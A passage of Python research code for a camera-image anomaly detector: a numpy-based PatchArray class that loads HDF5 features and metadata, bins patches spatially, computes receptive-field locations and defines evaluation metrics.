self.__getattribute__(attr)\n if not np.all(old_val == val): # Check if any value changed\n np.record.__setattr__(self, \"changed\", True)\n np.record.__setattr__(self, attr, val)\n else:\n np.record.__setattr__(self, attr, val)\n\nclass PatchArray(np.recarray):\n \"\"\"Array with metadata. This is the central class of the anomaly detector\n and contains all feature vectors (patches) and/or images alongside their metadata.\n It is based on a numpy recarray which simplifies access to metadata.\"\"\"\n \n __metadata_attrs__ = list()\n\n root = None\n\n def __new__(cls, filename=None, images_path=consts.IMAGES_PATH):\n \"\"\"Array with metadata. This is the central class of the anomaly detector\n and contains all feature vectors (patches) and/or images alongside their metadata.\n\n It is based on a numpy recarray which simplifies access to metadata.\n\n Args:\n filename (str): Features file to read (*.h5). If None, only the images and their metadata are loaded.\n images_path (str): Path where images AND the metadata file \"metadata_cache.h5\" are located.\n\n Returns:\n A new PatchArray\n \"\"\"\n if cls.root is not None:\n logger.warning(\"There is already a root PatchArray loaded.\")\n \n assert os.path.exists(images_path) and os.path.isdir(images_path), \"Path to images does not exist (%s)\" % images_path\n\n filename_metadata = os.path.join(images_path, \"metadata_cache.h5\")\n assert os.path.exists(filename_metadata), \"No metadata file called \\\"metadata_cache.h5\\\" in %s\" % images_path\n\n logger.info(\"Reading metadata and features from: %s\" % filename)\n\n metadata = dict()\n\n with h5py.File(filename_metadata, \"r\") as hf:\n def _c(x, y):\n if isinstance(y, h5py.Dataset):\n cls.__metadata_attrs__.append(x)\n metadata[x] = np.array(y)\n \n hf.visititems(_c)\n \n if len(metadata) == 0:\n raise ValueError(\"There should be at least a bit of metadata!\")\n\n # Add missing datasets\n metadata[\"changed\"] = np.zeros_like(metadata[\"labels\"], dtype=np.bool)\n\n contains_features = False\n contains_locations = False\n contains_patch_labels = False\n contains_bins = {\"fake_0.20\": False, \"fake_0.50\": False, \"fake_2.00\": False, \"0.20\": False, \"0.50\": False, \"2.00\": False}\n rasterizations = {\"fake_0.20\": None, \"fake_0.50\": None, \"fake_2.00\": None, \"0.20\": None, \"0.50\": None, \"2.00\": None}\n \n contains_mahalanobis_distances = False\n\n receptive_field = None\n image_size = None\n\n # Check if file is h5 file\n if isinstance(filename, str) and filename.endswith(\".h5\"):\n s = time.time()\n with h5py.File(filename, \"r\") as hf:\n logger.info(\"Opening %s: %f\" % (filename, time.time() - s))\n\n receptive_field = hf.attrs.get(\"Receptive field\", None)\n image_size = hf.attrs.get(\"Image size\", None)\n\n # Metadata and Features are assumed to be sorted by time\n # But the features might only be a subset (think temporal patches, C3D)\n # So we first get the times and match them against each other\n feature_times = np.array(hf[\"times\"])\n common_times, metadata_indices, feature_indices = np.intersect1d(metadata[\"times\"], feature_times, assume_unique=True, return_indices=True)\n # Now we filter the metadata (there could be more metadata than features, eg. C3D)\n if common_times.shape != metadata[\"times\"].shape or np.any(metadata_indices != np.arange(len(metadata_indices))):\n for n, m in metadata.items():\n metadata[n] = m[metadata_indices]\n\n # Test if everything worked out\n assert np.all(feature_times[feature_indices] == metadata[\"times\"]), \"Something went wrong\"\n assert np.all(feature_indices == np.arange(len(feature_indices))), \"Oops?\"\n\n patches_dict = dict()\n mahalanobis_dict = dict()\n\n add = [\"features\", \"locations\", \"fake_locations\", \"patch_labels\"]\n\n def _add(x, y):\n if not isinstance(y, h5py.Dataset):\n return\n if x in add or x.startswith(\"bins\"):\n patches_dict[x] = y\n elif x.endswith(\"/mahalanobis_distances\"):\n n = x.replace(\"/mahalanobis_distances\", \"\")\n if \"balanced_distribution\" in y.parent.keys():\n bd = y.parent[\"balanced_distribution\"]\n n = \"%s/%i\" % (n, bd.shape[0])\n mahalanobis_dict[n] = numpy.array(y)\n mahalanobis_dict[n][np.isnan(mahalanobis_dict[n])] = -1\n\n hf.visititems(_add)\n\n if \"features\" in patches_dict.keys():\n contains_features = True\n if patches_dict[\"features\"].ndim == 2:\n patches_dict[\"features\"] = np.expand_dims(np.expand_dims(patches_dict[\"features\"], axis=1), axis=2)\n else:\n raise ValueError(\"%s does not contain features.\" % filename)\n\n locations_shape = patches_dict[\"features\"].shape[:-1]\n\n if \"locations\" in patches_dict.keys():\n contains_locations = True\n else:\n patches_dict[\"locations\"] = np.zeros(locations_shape, dtype=[(\"tl\", [(\"y\", np.float32), (\"x\", np.float32)]),\n (\"tr\", [(\"y\", np.float32), (\"x\", np.float32)]),\n (\"br\", [(\"y\", np.float32), (\"x\", np.float32)]),\n (\"bl\", [(\"y\", np.float32), (\"x\", np.float32)])])\n\n if \"fake_locations\" in patches_dict.keys():\n contains_locations = True\n else:\n patches_dict[\"fake_locations\"] = np.zeros(locations_shape, dtype=[(\"tl\", [(\"y\", np.float32), (\"x\", np.float32)]),\n (\"tr\", [(\"y\", np.float32), (\"x\", np.float32)]),\n (\"br\", [(\"y\", np.float32), (\"x\", np.float32)]),\n (\"bl\", [(\"y\", np.float32), (\"x\", np.float32)])])\n\n if \"patch_labels\" in patches_dict.keys():\n contains_patch_labels = True\n else:\n patches_dict[\"patch_labels\"] = np.zeros(locations_shape, dtype=np.uint8)\n patches_dict[\"patch_labels_values\"] = np.zeros(locations_shape)\n\n if len(mahalanobis_dict) > 0:\n contains_mahalanobis_distances = True\n t = [(x, mahalanobis_dict[x].dtype) for x in mahalanobis_dict]\n patches_dict[\"mahalanobis_distances\"] = np.rec.fromarrays(mahalanobis_dict.values(), dtype=t)\n patches_dict[\"mahalanobis_distances_filtered\"] = np.zeros(locations_shape, dtype=np.float64)\n \n for k in contains_bins.keys():\n if (\"bins_\" + k) in patches_dict.keys():\n contains_bins[k] = True\n rasterizations[k] = np.array(hf[\"rasterization_\" + k])\n else:\n contains_bins[k] = False\n patches_dict[\"bins_\" + k] = np.zeros(locations_shape, dtype=object)\n\n # Broadcast metadata to the correct shape\n if patches_dict[\"features\"].shape[1:-1] != ():\n for n, m in metadata.items():\n patches_dict[n] = np.moveaxis(np.broadcast_to(m, patches_dict[\"features\"].shape[1:-1] + (m.size,)), -1, 0)\n\n # Add indices as metadata\n # patches_dict[\"index\"] = np.mgrid[0:locations_shape[0], 0:locations_shape[1], 0:locations_shape[2]]\n\n # Create type\n t = [(x, patches_dict[x].dtype, patches_dict[x].shape[patches_dict[\"features\"].ndim - 1:]) for x in patches_dict]\n\n s = time.time()\n patches = np.rec.fromarrays(patches_dict.values(), dtype=t)\n logger.info(\"Loading patches: %f\" % (time.time() - s))\n else:\n # Broadcast metadata to the correct shape\n for n, m in metadata.items():\n metadata[n] = np.moveaxis(np.broadcast_to(m, (2, 2, m.size)), -1, 0)\n\n # Create type\n t = [(x, metadata[x].dtype) for x in metadata]\n patches = np.rec.fromarrays(metadata.values(), dtype=t)\n\n obj = patches.view(cls)\n\n obj._ilu = ImageLocationUtility()\n\n obj.filename = filename\n obj.images_path = images_path\n obj.receptive_field = receptive_field\n obj.image_size = image_size\n obj.contains_features = contains_features\n obj.contains_locations = contains_locations\n obj.contains_bins = contains_bins\n obj.contains_patch_labels = contains_patch_labels\n obj.rasterizations = rasterizations\n obj.contains_mahalanobis_distances = contains_mahalanobis_distances\n\n cls.root = obj\n\n return obj\n\n def __array_finalize__(self, obj):\n \"\"\"Only for internal use\"\"\"\n if obj is None: return\n self._ilu = getattr(obj, \"_ilu\", None)\n self.filename = getattr(obj, \"filename\", None)\n self.images_path = getattr(obj, \"images_path\", consts.IMAGES_PATH)\n self.receptive_field = getattr(obj, \"receptive_field\", None)\n self.image_size = getattr(obj, \"image_size\", 224)\n self.contains_features = getattr(obj, \"contains_features\", False)\n self.contains_locations = getattr(obj, \"contains_locations\", False)\n self.contains_bins = getattr(obj, \"contains_bins\", {\"0.20\": False, \"0.50\": False, \"2.00\": False})\n self.contains_patch_labels = getattr(obj, \"contains_patch_labels\", False)\n self.rasterizations = getattr(obj, \"rasterizations\", {\"0.20\": None, \"0.50\": None, \"2.00\": None})\n self.contains_mahalanobis_distances = getattr(obj, \"contains_mahalanobis_distances\", False)\n \n def __setattr__(self, attr, val):\n \"\"\"Keep track if metadata is changed\"\"\"\n if self.dtype.names is not None and attr in self.dtype.names:\n # Try finding the attribute in the metadata (will throw if it is not in metadata)\n old_val = self.__getattribute__(attr)\n if not np.all(old_val == val): # Check if any value changed\n if attr != \"changed\" and attr in self.__metadata_attrs__:\n # Set changed to true, where there was a change\n if len(self.shape) > 0:\n self[\"changed\"][old_val != val] = True\n else:\n self[\"changed\"] = True\n\n # Change the value\n np.recarray.__setattr__(self, attr, val)\n else:\n object.__setattr__(self, attr, val)\n\n def __getitem__(self, indx):\n \"\"\"Cast patches to the correct class\"\"\"\n obj = np.recarray.__getitem__(self, indx)\n\n if isinstance(obj, np.record):\n obj.__class__ = Patch\n \n return obj\n \n #########################\n # Commonly used subsets #\n # (unfortunately copies,#\n # not views) #\n #########################\n\n def _filter(self, name, f):\n \"\"\"Return a subset of this PatchArray\n\n Args:\n name (str): Metadata key\n f (func): Filter function\n\n Returns:\n A new PatchArray\n \"\"\"\n return self[f(self[name][:, 0, 0])] if self.ndim == 3 else self[f(self[name][:])]\n\n unknown_anomaly = property(lambda self: self._filter(\"labels\", lambda f: f == 0))\n no_anomaly = property(lambda self: self._filter(\"labels\", lambda f: f == 1))\n anomaly = property(lambda self: self._filter(\"labels\", lambda f: f == 2))\n \n stop_ok = property(lambda self: self._filter(\"stop\", lambda f: f == 0))\n stop_dont = property(lambda self: self._filter(\"stop\", lambda f: f == 1))\n stop_do = property(lambda self: self._filter(\"stop\", lambda f: f == 2))\n \n direction_unknown = property(lambda self: self._filter(\"directions\", lambda f: f == 0))\n direction_ccw = property(lambda self: self._filter(\"directions\", lambda f: f == 1))\n direction_cw = property(lambda self: self._filter(\"directions\", lambda f: f == 2))\n \n round_number_unknown = property(lambda self: self._filter(\"round_numbers\", lambda f: f == 0))\n def round_number(self, round_number):\n return self._filter(\"round_numbers\", lambda f: f == round_number)\n \n # @property\n # def training_and_validation(self):\n # \"\"\" Subset of training and validation frames (FOR COMPARING ALL EXTRACTORS AND MODELS) \"\"\"\n # p = self.root[::6, 0, 0]\n\n # f = np.zeros(p.shape, dtype=np.bool)\n # f[:] = np.logical_and(p.directions == 1, # CCW and\n # np.logical_or(p.labels == 2, # Anomaly or\n # np.logical_and(p.round_numbers >= 7, # Round between 7 and 9\n # p.round_numbers <= 7)))\n\n \n # f[:] = np.logical_and(f[:], np.logical_and(p.camera_locations.translation.x > 20,\n # np.logical_and(p.camera_locations.translation.x < 25,\n # np.sqrt((p.camera_locations.rotation.z - (np.pi / 2)) ** 2) < 0.15)))\n\n # # Let's make contiguous blocks of at least 10, so\n # # we can do some meaningful temporal smoothing afterwards\n # for i, b in enumerate(f):\n # if b and i - 20 >= 0:\n # f[i - 20:i] = True\n \n # return self.root[::6,...][f]\n\n @property\n def training_and_validation(self):\n \"\"\" Subset of training and validation frames (FOR CHECKING THE BEST EXTRACTORS AND MODELS) \"\"\"\n p = self.root[..., 0, 0]\n\n # f = np.zeros(p.shape, dtype=np.bool)\n # f[::6] = True\n # f[:] = np.logical_or(np.logical_and(f, p.stop != 0), p.stop == 2)\n\n # f[:] = np.logical_and(f[:], np.sqrt((p.camera_locations.rotation.z + (np.pi / 2)) ** 2) < 0.15)\n\n return self.root[::6,...]\n\n @property\n def training(self):\n return self.direction_ccw\n\n @property\n def validation(self):\n return self.direction_cw\n # round_number = 7\n # if self.ndim == 3:\n # return self[self.round_numbers[:, 0, 0] != round_number].direction_ccw\n # else:\n # return self[self.round_numbers[:] != round_number].direction_ccw\n\n @property\n def benchmark(self):\n return self[0:10]\n\n metadata_changed = property(lambda self: self[self.changed[:, 0, 0]] if self.ndim == 3 else self[self.changed[:]])\n\n def save_metadata(self, filename=None):\n \"\"\"Save all metadata that changed. Will always create a backup.\n\n Args:\n filename (str): New metadata file (default: currently opened metadata file)\n\n Returns:\n success (bool)\n \"\"\"\n if filename is None:\n filename = os.path.join(self.images_path, \"metadata_cache.h5\")\n try:\n if os.path.exists(filename):\n shutil.copyfile(filename, \"%s_backup_%s\" % (filename, datetime.now().strftime(\"%d_%m_%Y_%H_%M_%S\")))\n with h5py.File(filename, \"r+\") as hf:\n hf.attrs[\"Last changed\"] = datetime.now().strftime(\"%d.%m.%Y, %H:%M:%S\")\n\n indices = np.argwhere(np.isin(hf[\"times\"], self.metadata_changed[:, 0, 0].times))\n for index, frame in zip(indices, self.metadata_changed[:, 0, 0]):\n for meta in self.__metadata_attrs__:\n hf[meta][index] = frame[meta]\n return True\n except:\n logger.error(traceback.format_exc())\n return False\n\n def extract_current_patches(self):\n \"\"\"Create a new metadata file and copy images to a new subfolder\n\n Returns:\n success (bool)\n \"\"\"\n folder = os.path.join(consts.BASE_PATH, \"Images_subset_%s\" % datetime.now().strftime(\"%d_%m_%Y_%H_%M_%S\"))\n os.mkdir(folder)\n\n try:\n for i in tqdm(range(self.shape[0]), desc=\"Copying images\", file=sys.stderr):\n image = self[i, 0, 0].get_image_path()\n shutil.copyfile(image, os.path.join(folder, os.path.basename(image)))\n\n with h5py.File(os.path.join(folder, \"metadata_cache.h5\"), \"w\") as hf:\n hf.attrs[\"Last changed\"] = datetime.now().strftime(\"%d.%m.%Y, %H:%M:%S\")\n for meta in self.__metadata_attrs__:\n hf[meta] = self[:,0,0][meta]\n return True\n except:\n logger.error(traceback.format_exc())\n return False\n\n ###################\n # Spatial binning #\n ###################\n\n def _calculate_grid(self, cell_size, fake=False):\n \"\"\"Calculate the cells for spatial binning\n\n Args:\n cell_size (float): Spatial bin size\n fake (bool): Use simple non-overlapping receptive field\n\n Returns:\n grid (STRtree): Search tree with all (rectangle) cells\n shape (int, int): Grid shape\n \"\"\"\n key = \"%.2f\" % cell_size\n if fake: key = \"fake_\" + key\n\n # Get extent\n x_min, y_min, x_max, y_max = self.get_extent(cell_size, fake=fake)\n\n # Create the bins\n bins_y = np.arange(y_min, y_max, cell_size)\n bins_x = np.arange(x_min, x_max, cell_size)\n bin_area = cell_size * cell_size\n\n shape = (len(bins_y), len(bins_x))\n\n # Create the grid\n self.rasterizations[key] = np.zeros(shape, dtype=object)\n \n for v, y in enumerate(bins_y):\n for u, x in enumerate(bins_x):\n b = box(x, y, x + cell_size, y + cell_size)#Point(x + cell_size / 2, y + cell_size / 2)# \n b.u = u\n b.v = v\n b.patches = list()\n self.rasterizations[key][v, u] = b\n \n # Create a search tree of spatial boxes\n grid = STRtree(self.rasterizations[key].ravel().tolist())\n \n return (grid, shape)\n\n def _bin(self, i, grid, shape, rf_factor, key, fake, cell_size):\n \"\"\"Calculate the corresponding spatial bins for the patches given defined by index i.\n\n Args:\n i (int): Frame index\n grid (STRtree): Search tree with all (rectangle) cells\n rf_factor (float): Receptive field size divided by image size\n key (str): Metadata key where the bin information is stored\n fake (bool): Use simple non-overlapping receptive field\n cell_size (float): Spatial bin size\n\n Returns:\n None\n \"\"\"\n locations_key = \"locations\"\n if fake: locations_key = \"fake_\" + locations_key\n\n for y, x in np.ndindex(self.shape[1:]):\n # Calculate a new intersection\n if fake or rf_factor < 2 or (y, x) == (0, 0):\n f = self[i, y, x]\n poly = Polygon([(f[locations_key].tl.x, f[locations_key].tl.y),\n (f[locations_key].tr.x, f[locations_key].tr.y),\n (f[locations_key].br.x, f[locations_key].br.y),\n (f[locations_key].bl.x, f[locations_key].bl.y)])\n \n # This will quickly find the possible intersection candidates\n bins = grid.query(poly)\n\n # Calculate the bins that really intersect the polygon\n bins = filter(poly.intersects, bins)\n \n # if len(bins) == 0:\n # bins = [grid.nearest(poly)]\n\n def _loop():\n for b in bins:\n # weight = 1.0#b.intersection(poly).area / bin_area\n b.patches.append(np.ravel_multi_index((i, y, x), self.shape))\n yield np.ravel_multi_index((b.v, b.u), shape)\n \n self[i, y, x][\"bins_\" + key] = np.array(list(_loop()), dtype=np.uint32)\n\n def _save_rasterization(self, key, grid, shape, start=None, end=None):\n \"\"\"Save the spatial binning result to the currently opened features file\n\n Args:\n key (str): Metadata key where the bin information is stored\n grid (STRtree): Search tree with all (rectangle) cells\n shape (int, int): Grid shape\n start (int): Start timestamp\n end (int): End timestamp\n\n Returns:\n None\n \"\"\"\n logger.info(\"Opening %s\" % self.filename)\n # Save to file\n with h5py.File(self.filename, \"r+\") as hf:\n # Remove the old dataset\n if \"bins_\" + key in hf.keys():\n logger.info(\"Deleting old bins_%s from file\" % key)\n del hf[\"bins_\" + key]\n \n logger.info(\"Writing bins_%s to file\" % key)\n hf.create_dataset(\"bins_\" + key, data=self[\"bins_\" + key], dtype=h5py.vlen_dtype(np.uint32))\n \n # Remove the old dataset\n if \"rasterization_\" + key in hf.keys():\n logger.info(\"Deleting old rasterization_%s from file\" % key)\n del hf[\"rasterization_\" + key]\n\n if \"rasterization_\" + key + \"_count\" in hf.keys():\n logger.info(\"Deleting old rasterization_%s_count from file\" % key)\n del hf[\"rasterization_\" + key + \"_count\"]\n \n logger.info(\"Writing rasterization_%s and rasterization_%s_count to file\" % (key, key))\n rasterization = hf.create_dataset(\"rasterization_\" + key, shape=shape, dtype=h5py.vlen_dtype(np.uint32))\n rasterization_count = hf.create_dataset(\"rasterization_\" + key + \"_count\", shape=shape, dtype=np.uint16)\n\n for b in grid._geoms:\n rasterization[b.v, b.u] = b.patches\n rasterization_count[b.v, b.u] = len(b.patches)\n\n if start is not None and end is not None:\n hf[\"rasterization_\" + key].attrs[\"Start\"] = start\n hf[\"rasterization_\" + key].attrs[\"End\"] = end\n hf[\"rasterization_\" + key].attrs[\"Duration\"] = end - start\n hf[\"rasterization_\" + key].attrs[\"Duration (formatted)\"] = utils.format_duration(end - start)\n\n def calculate_rasterization(self, cell_size, fake=False):\n \"\"\"Calculate the corresponding spatial bins for each patch.\n\n Args:\n cell_size (float): Spatial bin size\n fake (bool): Use simple non-overlapping receptive field\n\n Returns:\n None\n \"\"\"\n key = \"%.2f\" % cell_size\n if fake: key = \"fake_\" + key\n\n # Check if cell size is already calculated\n if key in self.contains_bins.keys() and self.contains_bins[key]:\n return self[\"bins_\" + key]\n \n grid, shape = self._calculate_grid(cell_size, fake=fake)\n\n rf_factor = self.receptive_field[0] / self.image_size\n\n logger.info(\"%i bins in x and %i bins in y direction (with cell size %.2f)\" % (shape + (cell_size,)))\n\n start = time.time()\n \n # Get the corresponding bin for every feature\n Parallel(n_jobs=2, prefer=\"threads\")(\n delayed(self._bin)(i, grid, shape, rf_factor, key, fake, cell_size) for i in tqdm(range(self.shape[0]), desc=\"Calculating bins\", file=sys.stderr))\n\n end = time.time()\n\n self._save_rasterization(key, grid, shape, start, end)\n \n self.contains_bins[key] = True\n self.rasterizations[key] = np.vectorize(lambda b: b.patches, otypes=[object])(self.rasterizations[key])\n\n return shape\n\n def get_extent(self, cell_size=None, fake=False):\n \"\"\"Calculates the extent of the features\n \n Args:\n cell_size (float): Round to cell size (increases bounds to fit next cell size)\n fake (bool): Use simple non-overlapping receptive field\n \n Returns:\n Tuple (x_min, y_min, x_max, y_max)\n \"\"\"\n key = \"locations\"\n if fake: key = \"fake_\" + key\n\n assert self.contains_locations, \"Can only compute extent if there are patch locations\"\n \n # Get the extent\n x_min = min(self[key].tl.x.min(), self[key].tr.x.min(), self[key].br.x.min(), self[key].bl.x.min())\n y_min = min(self[key].tl.y.min(), self[key].tr.y.min(), self[key].br.y.min(), self[key].bl.y.min())\n x_max = max(self[key].tl.x.max(), self[key].tr.x.max(), self[key].br.x.max(), self[key].bl.x.max())\n y_max = max(self[key].tl.y.max(), self[key].tr.y.max(), self[key].br.y.max(), self[key].bl.y.max())\n \n # Increase the extent to fit the cell size\n if cell_size is not None:\n x_min -= x_min % cell_size\n y_min -= y_min % cell_size\n x_max += cell_size - (x_max % cell_size)\n y_max += cell_size - (y_max % cell_size)\n \n return (x_min, y_min, x_max, y_max)\n\n #################\n # Locations #\n #################\n \n def calculate_receptive_field(self, y, x, scale_y=1.0, scale_x=1.0, fake=False):\n \"\"\"Calculate the receptive field of a patch\n\n Args:\n y, x (int): Patch indices\n scale_y, scale_x (float): Scale factor\n fake (bool): Use simple non-overlapping receptive field\n\n Returns:\n Tuple (tl, tr, br, bl) with pixel coordinated of the receptive field\n \"\"\"\n image_h = self.image_size * scale_y\n image_w = self.image_size * scale_x\n\n _, h, w = self.locations.shape\n center_y = y / float(h) * image_h\n center_x = x / float(w) * image_w\n\n if fake:\n rf_h = self.image_size / float(self.shape[1]) * scale_y / 2.0\n rf_w = self.image_size / float(self.shape[2]) * scale_x / 2.0\n else:\n rf_h = self.receptive_field[0] * scale_y / 2.0\n rf_w = self.receptive_field[1] * scale_x / 2.0\n\n \n tl = (max(0, center_y - rf_h), max(0, center_x - rf_w))\n tr = (max(0, center_y - rf_h), min(image_w, center_x + rf_w))\n br = (min(image_h, center_y + rf_h), min(image_w, center_x + rf_w))\n bl = (min(image_h, center_y + rf_h), max(0, center_x - rf_w))\n \n return (tl, tr, br, bl)\n\n def _get_receptive_fields(self, fake=False):\n \"\"\" Get the receptive fields for each patch (in image coordinates)\n\n Args:\n fake (bool): Use simple non-overlapping receptive field\n\n Returns:\n image_locations (np.array): Receptive fields in image coordinates (h, w, 4, 2)\n \"\"\"\n n, h, w = self.locations.shape\n \n image_locations = np.zeros((h, w, 4, 2), dtype=np.float32)\n \n for (y, x) in np.ndindex((h, w)):\n rf = self.calculate_receptive_field(y + 0.5, x + 0.5, fake=fake)\n image_locations[y, x, 0] = rf[0]\n image_locations[y, x, 1] = rf[1]\n image_locations[y, x, 2] = rf[2]\n image_locations[y, x, 3] = rf[3]\n \n return image_locations\n\n def _get_centers(self):\n \"\"\" Get the center for each patch (in image coordinates)\n\n Returns:\n image_locations (np.array): Image centers in image coordinates (h, w, 2)\n \"\"\"\n n, h, w = self.locations.shape\n \n image_locations = np.zeros((h, w, 2), dtype=np.float32)\n \n for (y, x) in np.ndindex((h, w)):\n image_locations[y, x] = (y + 0.5, x + 0.5)\n \n return image_locations\n\n def _image_to_relative(self, image_locations):\n \"\"\"Convert image coordinates to relative coordinates\n\n Args:\n image_locations (np.array): Input in image coordinates\n\n Returns:\n relative_locations (np.array): Input in relative coordinates\n \"\"\"\n return self._ilu.image_to_relative(image_locations, image_width=self.image_size, image_height=self.image_size) # (h, w, 4, 2)\n \n def _relative_to_absolute(self, relative_locations, camera_locations):\n \"\"\"Convert relative coordinates to absolute coordinates\n\n Args:\n relative_locations (np.array): Input in relative coordinates\n camera_locations (np.array): Respective camera locations\n\n Returns:\n absolute_locations (np.array): Input in absolute coordinates\n \"\"\"\n res = self._ilu.relative_to_absolute(relative_locations, camera_locations)\n res = np.rec.fromarrays(res.transpose(), dtype=[(\"y\", np.float32), (\"x\", np.float32)]).transpose()\n return np.rec.fromarrays(res.transpose(), dtype=self.locations.dtype) # No transpose here smh\n\n def _save_patch_locations(self, key, start=None, end=None):\n \"\"\"Save the patch locations to the currently opened features file\n\n Args:\n key (str): Metadata key where the location information is stored\n start (int): Start timestamp\n end (int): End timestamp\n\n Returns:\n None\n \"\"\"\n with h5py.File(self.filename, \"r+\") as hf:\n # Remove the old locations dataset\n if key in hf.keys():\n del hf[key]\n \n hf.create_dataset(key, data=self[key])\n \n if start is not None and end is not None:\n hf[key].attrs[\"Start\"] = start\n hf[key].attrs[\"End\"] = end\n hf[key].attrs[\"Duration\"] = end - start\n hf[key].attrs[\"Duration (formatted)\"] = utils.format_duration(end - start)\n\n def calculate_patch_locations(self, fake=False):\n \"\"\"Calculate the real world coordinates of every feature vector (patch)\n\n Args:\n fake (bool): Use simple non-overlapping receptive field\n\n Returns:\n None\n \"\"\"\n key = \"locations\"\n if fake: key = \"fake_\" + key\n\n assert self.contains_features, \"Can only compute patch locations if there are patches\"\n\n logger.info(\"Calculating locations of every patch\")\n \n start = time.time()\n image_locations = self._get_receptive_fields(fake)\n \n relative_locations = self._image_to_relative(image_locations)\n \n for i in tqdm(range(self[key].shape[0]), desc=\"Calculating locations\", file=sys.stderr):\n self[key][i] = self._relative_to_absolute(relative_locations, self[i, 0, 0].camera_locations)\n\n end = time.time()\n\n self.contains_locations = True\n\n self._save_patch_locations(key, start, end)\n\n def calculate_patch_center_locations(self):\n \"\"\"Calculate the real world coordinates of the center of every feature vector (patch)\n\n *This is currently not in use, but was intended for the spatial binning\n variant that only uses the central bin for anomaly detection*\n \n Returns:\n None\n \"\"\"\n key = \"locations_center\"\n\n assert self.contains_features, \"Can only compute patch locations if there are patches\"\n\n logger.info(\"Calculating locations of every patch\")\n \n start = time.time()\n image_locations = self._get_centers()\n \n relative_locations = self._image_to_relative(image_locations)\n \n for i in tqdm(range(self[key].shape[0]), desc=\"Calculating locations\", file=sys.stderr):\n self[key][i] = self._relative_to_absolute(relative_locations, self[i, 0, 0].camera_locations)\n\n end = time.time()\n\n self._save_patch_locations(key, start, end)\n\n #################\n # Calculations #\n #################\n \n def var(self):\n \"\"\"Calculate the variance\"\"\"\n return np.var(self.ravel().features, axis=0, dtype=np.float64)\n\n def cov(self):\n \"\"\"Calculate the covariance matrix\"\"\"\n return np.cov(self.ravel().features, rowvar=False)\n\n def mean(self):\n \"\"\"Calculate the mean\"\"\"\n return np.mean(self.ravel().features, axis=0, dtype=np.float64)\n\n #################\n # Misc #\n #################\n \n def to_dataset(self):\n \"\"\"Returns a TensorFlow Dataset of all contained images\n \n Returns:\n TensorFlow Dataset with all images in this PatchArray\n \"\"\"\n import tensorflow as tf\n\n def _gen():\n for i in range(self.shape[0]):\n rgb = cv2.cvtColor(self[i, 0, 0].get_image(), cv2.COLOR_BGR2RGB)\n yield (np.array(rgb), self[i, 0, 0].times)\n\n raw_dataset = tf.data.Dataset.from_generator(\n _gen,\n output_types=(tf.uint8, tf.int64),\n output_shapes=((None, None, None), ()))\n\n return raw_dataset.prefetch(tf.data.experimental.AUTOTUNE)\n\n isview = property(lambda self: np.shares_memory(self, self.root))\n\n def get_batch(self, frame, temporal_batch_size):\n \"\"\"Gets a temporal batch for a given frame by \n\n Args:\n frame (PatchArray): Frame to get the temporal batch for\n temporal_batch_size (int): Number of frames in the batch\n \n Returns:\n np.ndarray with the frames\n \"\"\"\n # Only take patches from the current round (no jumps from the end of the last round).\n # Use the root array, so every frame is considered (e.g. no FPS reduction on root array)\n current_round = self.root.round_number(frame.round_numbers)\n time_index = np.argwhere(current_round.times == frame.times).flat[0]\n res = None\n for res_i, arr_i in enumerate(range(time_index - temporal_batch_size, time_index)):\n # Get and convert the image\n image = cv2.cvtColor(current_round[max(0, arr_i), 0, 0].get_image(), cv2.COLOR_BGR2RGB)\n if res is None:\n res = np.zeros((temporal_batch_size,) + image.shape)\n res[res_i,...] = image\n return res\n\n def to_temporal_dataset(self, temporal_batch_size=16):\n \"\"\"Returns a TensorFlow Dataset of all contained images with temporal batches\n\n Args:\n temporal_batch_size (int): Number of frames in the batch\n \n Returns:\n TensorFlow Dataset with temporal batches of all images in this PatchArray\n \"\"\"\n import tensorflow as tf\n\n def _gen():\n for i in range(self.shape[0]):\n temporal_batch = self.get_batch(self[i, 0, 0], temporal_batch_size)\n yield (temporal_batch, self[i, 0, 0].times)\n\n raw_dataset = tf.data.Dataset.from_generator(\n _gen,\n output_types=(tf.uint8, tf.int64),\n output_shapes=((None, None, None, None), ()))\n\n return raw_dataset.prefetch(tf.data.experimental.AUTOTUNE)\n \n #################\n # Metrics #\n #################\n \n # def _get_stop_labels(self):\n # slack = 5\n # labels = self.stop[:,0,0].copy()\n # f = labels == 2\n # for i, b in enumerate(labels):\n # if b and i + slack < labels.size:\n # labels[i:i + slack] = 0\n # labels[f] = 2\n\n class Metric(object):\n \"\"\"Helper class for the calculation of different metrics\"\"\"\n COLORS = {\n -1: (100, 100, 100),\n 0: (150, 150, 150),\n 1: (80, 175, 76),\n 2: (54, 67, 244)\n }\n \n def __init__(self, name, label_name, per_patch=False, mean=False, names=None, colors=None):\n \"\"\"Create a new metric\n \n Args:\n name (str): Metric name\n label_name (str): Metadata key for the used label\n per_patch (bool): Calculate metric for each patch (referred to as \"per-pixel\" in thesis)\n mean (bool): True: Take the mean of anomaly scores per frame. False: Use the maximum AD score\n names (dict): Dictionary mapping the label values to readable names\n colors (dict): Dictionary mapping the label values to colors\n\n Returns:\n A new Metric\n \"\"\"\n self.name = name\n self.label_name = label_name\n self.per_patch = per_patch\n self.mean = mean\n\n self.names = names if names is not None else {\n 0: \"Unknown\",\n 1: \"No anomaly\",\n 2: \"Anomaly\"\n }\n\n self.current_threshold = -1\n\n def get_relevant(self, patches):\n \"\"\"Get all patches that will be considered (label value != 0)\"\"\"\n return patches[patches[self.label_name][:,0,0] != 0]\n\n def get_labels(self, patches):\n \"\"\"Get all labels\"\"\"\n if self.per_patch:\n return patches[self.label_name].ravel()\n else:\n return patches[self.label_name][:,0,0]\n \n def get_values(self, mahalanobis_distances):\n \"\"\"Get all anomaly scores\"\"\"\n if self.per_patch:\n return mahalanobis_distances.ravel()\n elif self.mean:\n return np.mean(mahalanobis_distances, axis=(1,2))\n else:\n return np.max(mahalanobis_distances, axis=(1,2))\n \n METRICS = [\n Metric(\"patch\", \"patch_labels\", per_patch=True),\n Metric(\"frame (mean)\", \"labels\", mean=True),\n Metric(\"frame (max)\", \"labels\"),\n Metric(\"stop (mean)\", \"stop\", mean=True, names={-1: \"Not set\", 0: \"It's OK to stop\", 1: \"Don't stop\", 2: \"Stop\"}),\n Metric(\"stop (max)\", \"stop\", names={-1: \"Not set\", 0: \"It's OK to stop\", 1: \"Don't stop\", 2: \"Stop\"})\n ]\n\n def calculate_tsne(self):\n \"\"\"Calculate and visualize a t-SNE (DEPRECATED)\"\"\"\n assert self.contains_mahalanobis_distances, \"Can't calculate t-SNE without mahalanobis distances calculated\"\n\n # TODO: Maybe only validation?\n features = self.features.reshape(-1, self.features.shape[-1])\n\n feat_cols = [\"feature\" + str(i) for i in 